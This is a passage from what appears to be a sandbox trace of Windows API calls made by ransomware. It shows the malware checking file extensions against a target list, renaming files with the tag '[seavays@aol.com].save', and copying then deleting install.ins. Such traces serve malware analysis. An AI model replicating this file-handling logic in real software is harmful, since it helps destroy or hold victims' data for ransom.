returned 4 [0075.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.422] lstrlenW (lpString=".bz2") returned 4 [0075.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.422] lstrlenW (lpString=".7z") returned 3 [0075.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.422] lstrlenW (lpString=".dbf") returned 4 [0075.422] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.422] lstrlenW (lpString=".1cd") returned 4 [0075.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.422] lstrlenW (lpString=".jpg") returned 4 [0075.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.422] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.422] lstrlenW (lpString="oledb32r.dll") returned 12 [0075.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.423] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=77824) returned 1 [0075.423] CloseHandle (hObject=0x2ec) returned 1 [0075.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0075.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.423] lstrlenW (lpString=".doc") returned 4 [0075.423] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.423] lstrlenW (lpString=".docx") returned 5 [0075.423] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0075.423] lstrlenW (lpString=".pdf") returned 4 [0075.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.423] lstrlenW (lpString=".xls") returned 4 [0075.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.423] lstrlenW (lpString=".xlsx") returned 5 [0075.423] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0075.423] lstrlenW (lpString=".ppt") returned 4 [0075.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString=".zip") returned 4 [0075.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString=".rar") returned 4 [0075.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString=".bz2") returned 4 [0075.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.424] lstrlenW (lpString=".7z") returned 3 [0075.424] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString=".dbf") returned 4 [0075.424] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString=".1cd") returned 4 [0075.424] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString=".jpg") returned 4 [0075.424] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.424] lstrlenW (lpString=".doc") returned 4 [0075.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString=".docx") returned 5 [0075.424] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0075.424] lstrlenW (lpString=".pdf") returned 4 [0075.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString=".xls") returned 4 [0075.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString=".xlsx") returned 5 [0075.424] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0075.424] lstrlenW (lpString=".ppt") returned 4 [0075.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.425] lstrlenW (lpString=".zip") returned 4 [0075.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.425] lstrlenW (lpString=".rar") returned 4 [0075.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.425] lstrlenW (lpString=".bz2") returned 4 [0075.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.425] lstrlenW (lpString=".7z") returned 3 [0075.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.425] lstrlenW (lpString=".dbf") returned 4 [0075.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.425] lstrlenW (lpString=".1cd") returned 4 [0075.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0075.425] lstrlenW (lpString=".jpg") returned 4 [0075.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.425] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.425] lstrlenW (lpString="sqloledb.dll") returned 12 [0075.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.426] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=868352) returned 1 [0075.426] CloseHandle (hObject=0x2ec) returned 1 [0075.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0075.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.426] lstrlenW (lpString=".doc") returned 4 [0075.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString=".docx") returned 5 [0075.427] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0075.427] lstrlenW (lpString=".pdf") returned 4 [0075.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString=".xls") returned 4 [0075.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString=".xlsx") returned 5 [0075.427] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0075.427] lstrlenW (lpString=".ppt") returned 4 [0075.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString=".zip") returned 4 [0075.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString=".rar") returned 4 [0075.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString=".bz2") returned 4 [0075.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.427] lstrlenW (lpString=".7z") returned 3 [0075.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString=".dbf") returned 4 [0075.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString=".1cd") returned 4 [0075.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString=".jpg") returned 4 [0075.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.427] lstrlenW (lpString=".doc") returned 4 [0075.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString=".docx") returned 5 [0075.428] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0075.428] lstrlenW (lpString=".pdf") returned 4 [0075.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString=".xls") returned 4 [0075.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString=".xlsx") returned 5 [0075.428] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0075.428] lstrlenW (lpString=".ppt") returned 4 [0075.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.428] lstrlenW (lpString=".zip") returned 4 [0075.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString=".rar") returned 4 [0075.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.428] lstrlenW (lpString=".bz2") returned 4 [0075.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.428] lstrlenW (lpString=".7z") returned 3 [0075.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.428] lstrlenW (lpString=".dbf") returned 4 [0075.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.428] lstrlenW (lpString=".1cd") returned 4 [0075.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0075.428] lstrlenW (lpString=".jpg") returned 4 [0075.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.428] lstrcmpiW (lpString1=".rll", lpString2=".save") returned -1 [0075.429] lstrlenW (lpString="sqloledb.rll") returned 12 [0075.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.431] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4608) returned 1 [0075.431] CloseHandle (hObject=0x2ec) returned 1 [0075.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0075.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.431] lstrlenW (lpString=".doc") returned 4 [0075.431] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0075.431] lstrlenW (lpString=".docx") returned 5 [0075.431] lstrcmpiW (lpString1=".docx", lpString2="b.rll") returned -1 [0075.431] lstrlenW (lpString=".pdf") returned 4 [0075.431] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0075.431] lstrlenW (lpString=".xls") returned 4 [0075.431] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0075.431] lstrlenW (lpString=".xlsx") returned 5 [0075.431] lstrcmpiW (lpString1=".xlsx", lpString2="b.rll") returned -1 [0075.431] lstrlenW (lpString=".ppt") returned 4 [0075.431] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString=".zip") returned 4 [0075.432] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0075.432] lstrlenW (lpString=".rar") returned 4 [0075.432] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString=".bz2") returned 4 [0075.432] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString=".7z") returned 3 [0075.432] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString=".dbf") returned 4 [0075.432] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString=".1cd") returned 4 [0075.432] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString=".jpg") returned 4 [0075.432] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.432] lstrlenW (lpString=".doc") returned 4 [0075.432] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString=".docx") returned 5 [0075.432] lstrcmpiW (lpString1=".docx", lpString2="b.rll") returned -1 [0075.432] lstrlenW (lpString=".pdf") returned 4 [0075.432] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString=".xls") returned 4 [0075.432] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0075.432] lstrlenW (lpString=".xlsx") returned 5 [0075.432] lstrcmpiW (lpString1=".xlsx", lpString2="b.rll") returned -1 [0075.432] lstrlenW (lpString=".ppt") returned 4 [0075.432] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0075.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.433] lstrlenW (lpString=".zip") returned 4 [0075.433] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0075.433] lstrlenW (lpString=".rar") returned 4 [0075.433] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0075.433] lstrlenW (lpString=".bz2") returned 4 [0075.433] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0075.433] lstrlenW (lpString=".7z") returned 3 [0075.433] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0075.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.433] lstrlenW (lpString=".dbf") returned 4 [0075.433] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0075.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.433] lstrlenW (lpString=".1cd") returned 4 [0075.433] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0075.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0075.433] lstrlenW (lpString=".jpg") returned 4 [0075.433] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0075.433] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.433] lstrlenW (lpString="sqlxmlx.dll") returned 11 [0075.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.434] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=326144) returned 1 [0075.434] CloseHandle (hObject=0x2ec) returned 1 [0075.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0075.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0075.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0075.435] lstrlenW (lpString=".doc") returned 4 [0075.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString=".docx") returned 5 [0075.435] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0075.435] lstrlenW (lpString=".pdf") returned 4 [0075.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString=".xls") returned 4 [0075.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString=".xlsx") returned 5 [0075.435] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0075.435] lstrlenW (lpString=".ppt") returned 4 [0075.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0075.435] lstrlenW (lpString=".zip") returned 4 [0075.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString=".rar") returned 4 [0075.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.435] lstrlenW (lpString=".bz2") returned 4 [0075.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.435] lstrlenW (lpString=".7z") returned 3 [0075.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0075.435] lstrlenW (lpString=".dbf") returned 4 [0075.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.445] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.446] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.446] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0075.446] GetLastError () returned 0x0 [0075.446] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x1c4, lpOverlapped=0x0) returned 1 [0075.447] WriteFile (in: hFile=0x314, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x1d0, lpOverlapped=0x0) returned 1 [0075.448] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.448] WriteFile (in: hFile=0x314, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0075.449] SetEndOfFile (hFile=0x314) returned 1 [0075.449] CloseHandle (hObject=0x314) returned 1 [0075.449] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.449] SetEndOfFile (hFile=0x2ec) returned 1 [0075.847] CloseHandle (hObject=0x2ec) returned 1 [0075.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.848] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString=".doc") returned 4 [0075.849] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0075.849] lstrlenW (lpString=".docx") returned 5 [0075.849] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0075.849] lstrlenW (lpString=".pdf") returned 4 [0075.849] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0075.849] lstrlenW (lpString=".xls") returned 4 [0075.849] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0075.849] lstrlenW (lpString=".xlsx") returned 5 [0075.849] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0075.849] lstrlenW (lpString=".ppt") returned 4 [0075.849] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString=".zip") returned 4 [0075.849] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0075.849] lstrlenW (lpString=".rar") returned 4 [0075.849] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0075.849] lstrlenW (lpString=".bz2") returned 4 [0075.849] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0075.849] lstrlenW (lpString=".7z") returned 3 [0075.849] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString=".dbf") returned 4 [0075.849] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString=".1cd") returned 4 [0075.849] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0075.849] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.849] lstrlenW (lpString=".jpg") returned 4 [0075.850] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString=".doc") returned 4 [0075.850] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0075.850] lstrlenW (lpString=".docx") returned 5 [0075.850] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0075.850] lstrlenW (lpString=".pdf") returned 4 [0075.850] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0075.850] lstrlenW (lpString=".xls") returned 4 [0075.850] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0075.850] lstrlenW (lpString=".xlsx") returned 5 [0075.850] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0075.850] lstrlenW (lpString=".ppt") returned 4 [0075.850] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString=".zip") returned 4 [0075.850] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0075.850] lstrlenW (lpString=".rar") returned 4 [0075.850] lstrcmpiW (lpString1=".rar", lpString2=".ins") 